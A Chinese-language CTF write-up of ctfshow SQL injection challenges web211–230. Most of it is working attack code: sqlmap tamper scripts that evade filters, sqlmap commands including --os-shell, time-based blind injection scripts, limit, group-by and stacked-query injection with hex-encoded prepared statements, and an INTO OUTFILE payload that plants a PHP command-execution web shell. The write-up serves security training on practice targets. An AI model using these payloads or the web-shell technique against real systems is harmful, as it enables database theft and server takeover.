sql注入


web211

  • 描述: 开始系统练习sqlmap的使用

增加了对于加空格的过滤

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

改一下脚本增加个替换就可以了, 或者你重新写一个盲注脚本

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
retVal = payload
if payload:
payload = payload.replace(" ", chr(0x0a))
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
retVal = payload.decode()

return retVal

payload:

注意换表换成ctfshow_flavia

python3 .\sqlmap.py -u "http://80b02ad6-2024-4835-a430-fed169bff73b.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://80b02ad6-2024-4835-a430-fed169bff73b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=bcluqhthjg7ikn0i7qee5dcstc" --tamper=personal -D ctfshow_web -T ctfshow_flavia --dump

官方化简py程序如下, 替换if语句即可

if payload:
retVal = retVal.replace(" ",chr(0x0a))
retVal = base64.b64encode(retVal[::-1].encode ('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

web212

  • 描述: 同上

增加过滤*, 没什么好说的, 针对的是上一题用的space2comment.py的方法

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace(" ", chr(0x0a))
retVal = retVal.replace("COUNT(*)", "COUNT(id)")
retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

return retVal

payload, 记得换表:

python3 .\sqlmap.py -u "http://b57ca267-13ab-462d-89fe-af58d1f06ea6.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://b57ca267-13ab-462d-89fe-af58d1f06ea6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=846olilf219u193rejj4sogmep" --tamper=personal -D ctfshow_web -T ctfshow_flavis --dump

web213

  • 描述: 同上

练习使用–os-shell 一键getshell?

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace("-- -", "#")
retVal = retVal.replace(" ", chr(0x0a))
retVal = retVal.replace("COUNT(*)", "COUNT(id)")
retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

return retVal

为什么替换为#, 原因是写入的文件-- -在第三个减号换行后就无效了, 所以要替换

python3 .\sqlmap.py -u "http://93d1c17f-ea86-493d-8a5a-d1fd395301e6.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://93d1c17f-ea86-493d-8a5a-d1fd395301e6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=qdk8hjthjlr3tec5n4d4oear29" --tamper=personal --os-shell

连接成功后界面显示如下, 输入数字来选择写入的shell, 还不能执行命令, 后面就是执行命令

image-20240815094344373

那些什么Y/n只要能执行就好了, 有的不选是就报错; 最后flag在根目录下

image-20240815094638712

web214

  • 描述: 开始时间盲注

界面啥都没有, 没有提交界面找半天, 抓包也没有, 然后发现还能去首页抓抓包

在首页抓包可以发现在/api/提交参数ipdebug, 将debug修改为1发现回显ip内容, 似乎没有带单引号直接回显

我这里抓https是抓不到的, 只能在http抓到

测试语句: ip=if(2>1,sleep(5),1)&debug=1, 可以感觉到差不多延时5s

sqlmap的方法

诶, 我有一个点子☝🤓, 我们来用sqlmap:

将这个请求包整个塞进txt文档, 两个参数设置为1, 交给sqlmap进行处理, 这里是bp.txt

python3 .\sqlmap.py -r bp.txt

发现执行成功, 能显示是Mysql数据库, 加上其他参数爆库爆表等即可, 其实也可以直接 -a, 只不过慢得很

python3 .\sqlmap.py -r bp.txt -D ctfshow_web -T ctfshow_flagx --dump

python的方法

能跑就别动

脚本有时候会跑出错误, 如果前面都能跑, 到某一个地方不能跑了, 重新跑上面的语句看看是都出错

import requests
import time

url = "http://28c1e710-14df-4ace-9539-a74068fd1598.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""


for i in range(1, 60):
for mid in flagstr:
# 数据库: ctfshow_web
# payload = "if((substr((select database()),{},1)='{}'),sleep(0.5),1)".format(i, mid)
# 表名: ctfshow_flagx
# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),{},1)='{}'),sleep(0.5),1)".format(i, mid)
# 字段: id,flaga
# payload = "if ((substr((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flagx'),{},1)='{}'),sleep(0.5),1)".format(i, mid)
# 获取flag: ctfshow{5231f260-63a8-4d71-a949-24295e7e8398}
payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(0.5),1)".format(i, mid)

print("[+]Now testing the " + str(i) + "th character \'" + mid + "\'")

data = {
"ip": payload,
"debug": 1
}
start_time = time.time()
res = requests.post(url=url, data=data).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
flag += mid
print(flag)
if mid == '}':
exit()
break

下一题开始就改官方脚本了, 我写了一个好看点的放在附录

web215

  • 描述: 同上

查询语句: 用了单引号, 可以在返回包看到确实有

但是只需要在前面闭合语句即可, 完整的我就不写了

' or if(2>1,sleep(5),1)#

payload:

select flagaa from ctfshow_flagxc

web216

  • 描述: 同上
// 查询语句
where ip = from_base64($id);

没有单引号, 不过增加了base64解码, 可以将整个payload进行base64编码后发包, 不过直接闭合更快:

'1') or if(2>1,sleep(5),1)#

加在语句前面即可, payload如下:

select flagaac from ctfshow_flagxcc

web217

  • 描述: 同上

查询语句换回了where ip =($id);

sleep被过滤, 可以利用benchmark进行大批量运算来实现延时, 记得先测试服务器的延时, 过大会导致服务器崩溃

1) or if(2>1, benchmark(1500000,md5(1)), 1)#

测试了半天超时的时机, 我认为我这个是可以跑的了, 不行的话多试几次超时时间和运算的数量级

import requests
import time


def res_judge(url, payload):
# 发送请求并判断响应时间是否足够长, 以确认匹配
data = {
"ip": payload,
"debug": 1
}

try:
time.sleep(1) # 这个sleep有时候不加也行
res = requests.post(url=url, data=data, timeout=1)
except requests.exceptions.Timeout:
print(f"[-] Payload: {payload}")
return 1
except requests.exceptions.RequestException as e:
print(f"[!] Error occurred: {e}")
return -1


def the_length(url, query):
# 确定查询结果的长度
for i in range(1, 80):

payload = f"1) or if((length(({query})))={i},benchmark(1500000,md5(1)),1)#"
# if((length(({query})))={length},sleep(2),1)&debug=1
if res_judge(url, payload):
print(f"[+] Found the length: {i}")
return i


# 初始化
url = "http://d31de088-4bd3-430b-b266-d60ace1108b9.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

# query = "select database()"
# query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'"
query = "select flagaabc from ctfshow_flagxccb"

length = the_length(url, query)
if length:
for i in range(1, length + 1):
for mid in flagstr:

payload = f"1) or if((substr(({query}),{i},1)='{mid}'),benchmark(1500000,md5(1)),1)#"
if res_judge(url, payload):
flag += mid
print(f"[+] Found {i}th character: {mid}")
print(f"[-] The String: {flag}")
break
else:
print(f"[!] Error occurred: length return none, please check your payload or run last payload again")
exit()

web218

  • 描述: 同上
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}

没事, 我们还有方法, 做笛卡尔积运算进行延时, 把sleep换成下面这个:

(select count(*) from ((information_schema.columns)A, (information_schema.columns)B, (information_schema.columns limit 1,7)c) limit 1)

没有使用任何连接条件的两个表, 数据库会执行笛卡尔积操作, 所以构造为:

1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',\
(select count(*)from ( \
(select table_name from information_schema.columns)a,\
(select table_name from information_schema.columns)b,\
(select table_name from information_schema.columns limit 1,7)c)limit 1\
),1

我自己的怎么搞都不行, 大概率是网络问题, 还是用官方的吧

import requests

url = "http://0b70243d-1a8e-472f-98eb-428504c08b1a.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"

j = 1
res = ""
while 1:
for i in flagstr:
data = {
'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',\
(select count(*) from ( \
(select table_name from information_schema.columns)a, \
(select table_name from information_schema.columns)b, \
(select table_name from information_schema.columns limit 1,7)c) limit 1 \
),1",
'debug': '1'
}
try:
r = requests.post(url, data=data, timeout=2.5)
except Exception as e:
res += i
print(res)
j += 1

更换完网络官方的可以跑了, 我的跑不了

web219

  • 描述: 同上
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}

上一题没有用rlike, 可以继续用上一题的

rlike和regexp类似, 是正则的方式, 如果感兴趣可以看这个, 这个是web190的脚本

from requests import post
from string import digits, ascii_lowercase

url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
while True:
for c in '-}_' + digits + ascii_lowercase:
resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
if '密码错误' in resp.json().get('msg'):
flag += c
print(flag)
if c == '}':
exit()
break

web220

  • 描述: 盲注结束
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

你已经做过前面的题了, 你肯定知道可以用left等代替, 直接更改上题payload即可

import requests

url = "http://f70e6dcc-fcff-4bf8-b847-89719dd425bd.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"

j = 1
res = ""
while 1:
for i in flagstr:
data = {
'ip': f"1) and if(left((select flagaabcc from ctfshow_flagxcac),{j})='{res+i}',\
(select count(*) from ( \
(select table_name from information_schema.columns)a, \
(select table_name from information_schema.columns)b, \
(select table_name from information_schema.columns limit 1,7)c) limit 1 \
),1",
'debug': '1'
}
try:
r = requests.post(url, data=data, timeout=2.5)
except Exception as e:
res += i
print(res)
j += 1

web221

  • 描述: 开始其他注入

这个似乎叫做limit注入, P神转载的文章, mysql注入之limit注入

  //分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

此方法适用于MySQL 5.x中,在limit语句后面的注入

在官方的select语句解释中, limit后可以跟procedureinto, 可以利用procedure进行注入

给出的示例中是结合了报错注入进行的注入, 据说还可以时间注入:

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

本地测试跑不出来, 一直在报错

然后如果传入id, 回显中就没有回显, 可能是查询语句中并没有id?

唉不管了直接套, 反正能出来就行

image-20240816230632825

然后结合盲注修改语句即可得到数据库名ctfshow_web_flag_x, 提交数据库名即可

?page=10&limit=10%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1);

web222

  • 描述: 同上
 //分页查询
$sql = select * from ctfshow_user group by $username;
//TODO:很安全,不需要过滤

group by注入, 抓包发现传入的主要参数是?u=

这个注入似乎有报错注入和盲注两种方法的:

报错注入1, 报错注入2

又好像不对, 对, 对吗?

# Author: gkjzjh146
import requests
import time
url = 'http://464941b6-2b80-40a5-9f5b-8560cf7fd664.challenge.ctf.show/api/?u='
url2 = ' &page=1&limit=10'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if min == j:
str += chr(j)
print(str)
break
# 爆表名
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')"
# 爆列
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')"
# 爆值
payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.05),'False')"
url0 = url + payload + url2
start_time = time.time()
r = requests.get(url=url0).text
end_time = time.time()
sub = end_time - start_time
if sub >= 1:
max = j
else:
min = j

web223

  • 描述: 同上
//分页查询
$sql = select * from ctfshow_user group by $username;
//TODO:很安全,不需要过滤
//用户名不能是数字

原理如下:

?u=if('a'='a',username,'a')
?u=if('a'='b',username,'a')

通过生成数字的函数,就原有的脚本进行了数字编码

import requests


def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res


url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1

while head < tail:
mid = (head + tail) >> 1
# 查数据库-ctfshow_flagas
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段-flagasabc
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
# 查flag
payload = "select flagasabc from ctfshow_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)

web224

  • 描述: 老面孔了,懂得都懂

是登录界面, 先扫一扫以示敬意; 发现有upload.php, robots.txt, checklogin.php

只有中间的能访问, 可以得到pwdreset.php, 发现是密码重置系统而且没有任何验证, 直接重置即可

登录后发现上传点, 不知道检查了什么, 可以上传zip; 在上传后的回显是两个参数filetypefilename, 应该就是这个两个存在sql注入

  • filename:29dc15c857c395f32893748c350100f8.zip filetype:Zip archive data, at least v2.0 to extract

会检测filetype, 构造的语句需要加一个文件头上去而且不能在过滤名单里

C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+
# 十六进制是 <?=`$_GET[1]`?>

将上述字符串塞进txt文件就能上传, 返回的filetype是PC64啥的, 现在可以访问1.php执行命令了

我这里似乎执行不了, 返回为空? 以后再来试试

web225

  • 描述: 堆叠提升开始
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

可以用两种方法: Handler和预处理

handler语句让我们能够一行一行的浏览一个表中的数据, 但是它仅在mysql存在且不包含select的完整功能

利用handler查询, 再结合我们的show就可以绕过了

/api/?username=1';show%20tables;%23
# 查到 ctfshow_flagasa
/api/?username=1';handler%20`ctfshow_flagasa`%20open;handler%20`ctfshow_flagasa`%20read%20first;%23
# 查到flag

预处理就是定义一串sql查询语句为一个名字, 然后直接通过这个名字来运行该查询语句:

标准格式如下, 但是我没测试出来

PREPARE name from '[my sql sequece]';   
# 预定义SQL语句
EXECUTE name;
# 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;
#删除预定义SQL语句

测试一下, 不要最后那个"删除预定义语句"即可

1';prepare h from concat('selec','t * from ctfshow_flagasa');execute h;%23

web226

  • 描述: 堆叠提升
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

预处理配合16进制即可查询:

1';prepare h from 0x73686f77207461626c6573;execute h;%23
# 查表 ctfsh_ow_flagas
1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;%23
# 拿到flag

web227

  • 描述: 同上
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}

关于 查看存储过程和函数存储过程和函数

还是利用上一题预处理加16进制绕过即可, 但是你会发现flag不在表里面

看完文章直接套

1';prepare h from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute h;%23
# select * from information_schema.routines

web228-230

  • 描述: 同上

这三题再怎么过滤也是可以用web226的方法绕过, 这里我就不再写了

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";

//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}

附录

import requests
import time


def res_judge(url, payload):
# 发送请求并判断响应时间是否足够长, 以确认匹配

data = {
"ip": payload,
"debug": 1
}

try:
res = requests.post(url=url, data=data, timeout=0.7)
except requests.exceptions.Timeout:
time.sleep(0.1)
print(f"[+] Payload: {payload}")
return 1
except requests.exceptions.RequestException as e:
print(f"[!] Error occurred: {e}")
return -1


def the_length(url, query):
# 确定查询结果的长度
for i in range(1, 80):

payload = f"\'or if((length(({query})))={i},sleep(2),1)#"
# if((length(({query})))={length},sleep(2),1)&debug=1
if res_judge(url, payload):
print(f"[+] Found the length: {i}")
return i


# 初始化
url = "http://a24c3f93-a30a-47eb-abb2-6a4983c4468b.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

# query = "select database()"
# query = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
# query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
query = "select flagaa from ctfshow_flagxc"

length = the_length(url, query)
if length:
for i in range(1, length + 1):
for mid in flagstr:

payload = f"\'or if((substr(({query}),{i},1)='{mid}'),sleep(2),1)#"
if res_judge(url, payload):
flag += mid
print(f"[+] Found {i}th character: {mid}")
print(f"[-] The String: {flag}")
else:
print(f"[!] Error occurred: length return none")
exit()